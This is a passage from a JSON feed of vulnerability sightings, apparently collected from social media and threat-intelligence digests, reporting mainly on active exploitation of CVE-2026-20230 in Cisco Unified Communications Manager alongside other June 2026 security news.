"author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116804930613951549", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel AttacksSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/Researchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel's process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.Mythos Discovers 'Squidbleed,' a Memory Leak That's Gone Undetected Since Clinton EraSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/A 29-year-old vulnerability dubbed \"Squidbleed\" (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic's Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.FortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s SuomessaSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessaThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.Source URL: https://isc.sans.edu/diary/rss/33094Despite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.New macOS ClickFix Attack Silently Mounts DMGs to Push InfostealerSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/A novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.'Cordyceps': Mushrooming Malicious Pull Requests Threaten Developer WorkflowsSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflowsDubbed \"Cordyceps,\" a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data ExfiltrationSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/Palo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization's active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.LastPass Confirms Data Breach in Klue Supply Chain AttackSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/LastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.Tata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear OnlineSource URL: https://therecord.media/tata-electronics-confirms-cyberattackIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group \"World Leaks,\" who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.Payouts King Ransomware Initial Access Broker Deploys New Edgecution MalwareSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecutionZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed \"Edgecution,\" deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.AI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance WarnsSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/An international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDISource URL: https://www.nippon.com/en/news/yjj2026062301023/Japanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.Active Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level RiskSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/Threat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco's Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-24T11:49:58.360985Z"}, {"uuid": "80971f19-a871-4674-ab15-d746fc4e8dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mozujf2q7q2l", "content": "Cisco Unified CM flaw CVE-2026-20230 is reportedly being exploited after PoC shows a file-write path to root. Patch and restrict access to management endpoints. #Cybersecurity #Vulnerability #InfoSec\n\nSource: https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "creation_timestamp": "2026-06-24T12:00:22.519801Z"}, {"uuid": "bceb9ed6-a136-4328-a57b-080235b251a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mozuul7mtz2u", "content": "A critical vulnerability in Cisco Unified Communications Manager (CVE-2026-20230, CVSS 8.6) allows unauthenticated remote attackers to conduct SSRF attacks, potentially writing files to the operating system. Active exploitation has been observed, requiring the WebDialer service to be enabled.", "creation_timestamp": "2026-06-24T12:06:38.409004Z"}, {"uuid": "86ba63fa-e0cb-4684-9fbf-1ef8b8d964b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mozvsk2cni2f", "content": "\ud83d\udc1b VULNERABILITIES Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230) \u2014 Help Net Security\nhttps://www.helpnetsecurity.com/2026/06/24/cisco-unified-cm-flaw-exploited-to-drop-webshells-cve-2026-20230/ #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-06-24T12:23:22.753685Z"}, {"uuid": "d77de3b6-ba5d-4ff6-894f-98fa9b8ab719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/techoverload.bsky.social/post/3mozwb6rug522", "content": "Cisco Unified CM\u2019s CVE-2026-20230 is now being exploited after PoC details showed a path to root. If you run Cisco call-control gear, patch fast and keep admin interfaces off the open internet. \ud83d\uded1\n\n#Cisco #Security #Cybersecurity", "creation_timestamp": "2026-06-24T12:31:34.818694Z"}, {"uuid": "3c2889c7-4c30-4b41-8396-ac20b5014efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mozwehcg7227", "content": "\ud83d\udea8 Cisco is urging organizations to patch CVE-2026-20230 after reports of active exploitation against Unified Communications Manager.\n\nPublic exploit code is online and the EPSS score jumped sharply after attack reports surfaced.\n\n\ud83d\udc47\nbasefortify.eu/posts/2026/0...\n\n#CyberSecurity #Cisco #CVE #InfoSec", "creation_timestamp": "2026-06-24T12:33:41.225051Z"}, {"uuid": "c42581ca-fbf8-48e7-b60f-566a3d58879b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mozwelrjcc27", "content": "\ud83d\udea8 Cisco is urging organizations to patch CVE-2026-20230 after reports of active exploitation against Unified Communications Manager.\n\nPublic exploit code is online and the EPSS score jumped sharply after attack reports surfaced.\n\n\ud83d\udc47\nbasefortify.eu/posts/2026/0...\n\n#CyberSecurity #Cisco #CVE #InfoSec", "creation_timestamp": "2026-06-24T12:33:42.046246Z"}, {"uuid": "eb1a76cb-2bfa-4d70-a1ad-413ca33e7784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mozwer3bw227", "content": "\ud83d\udea8 Cisco is urging organizations to patch CVE-2026-20230 after reports of active exploitation against Unified Communications Manager.\n\nPublic exploit code is online and the EPSS score jumped sharply after attack reports surfaced.\n\n\ud83d\udc47\nbasefortify.eu/posts/2026/0...\n\n#CyberSecurity #Cisco #CVE #InfoSec", "creation_timestamp": "2026-06-24T12:33:42.870178Z"}, {"uuid": "a63ebf79-528a-4f22-b396-e2660c970618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://threatintel.cc/2026/06/24/morning-cyber-summary.html", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel Attacks\n\nSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/\nResearchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel’s process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.\n\nMythos Discovers ‘Squidbleed,’ a Memory Leak That’s Gone Undetected Since Clinton Era\n\nSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/\nA 29-year-old vulnerability dubbed “Squidbleed” (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic’s Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.\n\nFortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s Suomessa\n\nSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessa\nThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.\n\nCVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.\n\nSource URL: https://isc.sans.edu/diary/rss/33094\nDespite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.\n\nNew macOS ClickFix Attack Silently Mounts DMGs to Push Infostealer\n\nSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/\nA novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.\n\n‘Cordyceps’: Mushrooming Malicious Pull Requests Threaten Developer Workflows\n\nSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflows\nDubbed “Cordyceps,” a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.\n\nThe Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration\n\nSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/\nPalo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization’s active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.\n\nLastPass Confirms Data Breach in Klue Supply Chain Attack\n\nSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/\nLastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.\n\nTata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear Online\n\nSource URL: https://therecord.media/tata-electronics-confirms-cyberattack\nIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group “World Leaks,” who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.\n\nPayouts King Ransomware Initial Access Broker Deploys New Edgecution Malware\n\nSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecution\nZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed “Edgecution,” deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.\n\nAI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance Warns\n\nSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/\nAn international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.\n\n14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDI\n\nSource URL: https://www.nippon.com/en/news/yjj2026062301023/\nJapanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.\n\nActive Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level Risk\n\nSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/\nThreat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-24T09:50:42.000000Z"}, {"uuid": "a4c0e436-451c-48f5-a9c5-9c242ba50b55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://threatintel.cc/2026/06/24/morning-cyber-summary.html", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel Attacks\n\nSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/\nResearchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel’s process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.\n\nMythos Discovers ‘Squidbleed,’ a Memory Leak That’s Gone Undetected Since Clinton Era\n\nSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/\nA 29-year-old vulnerability dubbed “Squidbleed” (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic’s Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.\n\nFortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s Suomessa\n\nSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessa\nThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.\n\nCVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.\n\nSource URL: https://isc.sans.edu/diary/rss/33094\nDespite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.\n\nNew macOS ClickFix Attack Silently Mounts DMGs to Push Infostealer\n\nSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/\nA novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.\n\n‘Cordyceps’: Mushrooming Malicious Pull Requests Threaten Developer Workflows\n\nSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflows\nDubbed “Cordyceps,” a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.\n\nThe Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration\n\nSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/\nPalo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization’s active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.\n\nLastPass Confirms Data Breach in Klue Supply Chain Attack\n\nSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/\nLastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.\n\nTata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear Online\n\nSource URL: https://therecord.media/tata-electronics-confirms-cyberattack\nIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group “World Leaks,” who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.\n\nPayouts King Ransomware Initial Access Broker Deploys New Edgecution Malware\n\nSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecution\nZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed “Edgecution,” deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.\n\nAI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance Warns\n\nSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/\nAn international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.\n\n14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDI\n\nSource URL: https://www.nippon.com/en/news/yjj2026062301023/\nJapanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.\n\nActive Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level Risk\n\nSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/\nThreat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-24T09:50:42.000000Z"}, {"uuid": "5dcbe2e4-6b08-4e55-9d32-17de2504acd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mp23bonex426", "content": "Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager #googlecloud https://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager/", "creation_timestamp": "2026-06-24T14:01:19.586837Z"}, {"uuid": "be8e9471-3253-4da9-9b8d-cb61f6aa00e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/Mozilla.activitypub.awakari.com.ap.brid.gy/post/3mp24g7aj6bn2", "content": "Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager Written by: Chester Sng, Pete Boonyakarn, Logeswaran Nadarajan Introduction to Malware Binary Triage (IMBT) ...\n\n#Malware #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-24T14:21:48.710672Z"}, {"uuid": "61223a83-6dfc-490b-b937-d366103a2fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mp24ia7q2d2t", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild", "creation_timestamp": "2026-06-24T14:22:53.604755Z"}, {"uuid": "8eaf02f7-c1a0-48a8-af8c-288aabbcad9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mp24ovle2j2p", "content": "Cisco Unified Communications Manager Under Fire as Critical CVE-2026-20230 Exploitation Emerges, Organizations Face Immediate Security Threat +\u00a0Video\n\nA Dangerous Cisco Vulnerability Is Suddenly in the Spotlight A newly disclosed security vulnerability affecting Cisco Unified Communications Manager\u2026", "creation_timestamp": "2026-06-24T14:26:37.559499Z"}, {"uuid": "68c8583a-9879-43a5-bb2a-b026cefe8243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mp26ij5gl52d", "content": "Cisco Unified CM SME flaw CVE-2026-20230 now exploited in attacks #cybersecurity #hacking #news #infosec #security #technology #privacy", "creation_timestamp": "2026-06-24T14:58:50.638250Z"}, {"uuid": "329a40fe-e5c8-488f-9367-6e63070994b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116805905190231169", "content": "New.\nMandiant: Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager https://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager #Google \nMicrosoft: \nStealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them https://www.microsoft.com/en-us/security/blog/2026/06/24/stealc-and-amadey-breaking-down-infostealers-and-the-cybercrime-services-that-deliver-them/ \nKaspersky:\nStrikeShark: investigating a new campaign delivering Cobalt Strike through SharkLoader https://securelist.com/strikeshark-campaign/120326/ @Kaspersky\nSymantec: Backdoor.Mistic: New Backdoor May be Linked to Ransomware Access Broker https://www.security.com/threat-intelligence/new-mistic-backdoor-modelorat\nPicus:\nThe ShinyHunters Domino Effect: One Breach, Hundreds of Victims https://www.picussecurity.com/resource/blog/the-shinyhunters-domino-effect-one-breach-hundreds-of-victims\nProofpoint:\nStealC You Later: Proofpoint and IBM X-Force Support Operation Endgame Disruptions https://www.proofpoint.com/us/blog/threat-insight/stealc-you-later-proofpoint-and-ibm-x-force-support-operation-endgame #threatresearch #cybercrime #Microsoft #infosec #threatintelligence #Cisco #vulnerability #zeroday #ransomware", "creation_timestamp": "2026-06-24T15:57:49.359009Z"}, {"uuid": "b5637d98-22ea-4df8-97e3-538113b72f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/thenewoil.org/post/3mp2pe6iqttg2", "content": "#Cisco #UnifiedCM flaw CVE-2026-20230 now exploited in attacks\n\nhttps://www.bleepingcomputer.com/news/security/cisco-unified-cm-sme-flaw-cve-2026-20230-now-exploited-in-attacks/\n\n#cybersecurity", "creation_timestamp": "2026-06-24T20:00:47.265036Z"}, {"uuid": "430ebba1-da88-4da3-ae8d-96275795ef28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://bsky.app/profile/hannahvernon.com/post/3mp2lu62ta62v", "content": "Is Your SQL Server Using RC4 for Kerberos? Here\u2019s How to Find\u00a0Out\n\nYou probably haven't thought about Kerberos encryption types recently. That's fair; the protocol mostly \"just works\" and has for decades. But CVE-2026-20833 changed the calculus. Microsoft disclosed a Kerberos information disclosure\u2026", "creation_timestamp": "2026-06-24T18:58:00.094754Z"}, {"uuid": "fc97e486-7012-410c-94cc-06bb9f1d92fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://bsky.app/profile/HannahVernon.chaosfem.tw.ap.brid.gy/post/3mp2lucohvpw2", "content": "Is Your SQL Server Using RC4 for Kerberos? Here\u2019s How to Find Out\n\nYou probably haven't thought about Kerberos encryption types recently. That's fair; the protocol mostly \"just works\" and has for decades. But CVE-2026-20833 changed the calculus. Microsoft disclosed a 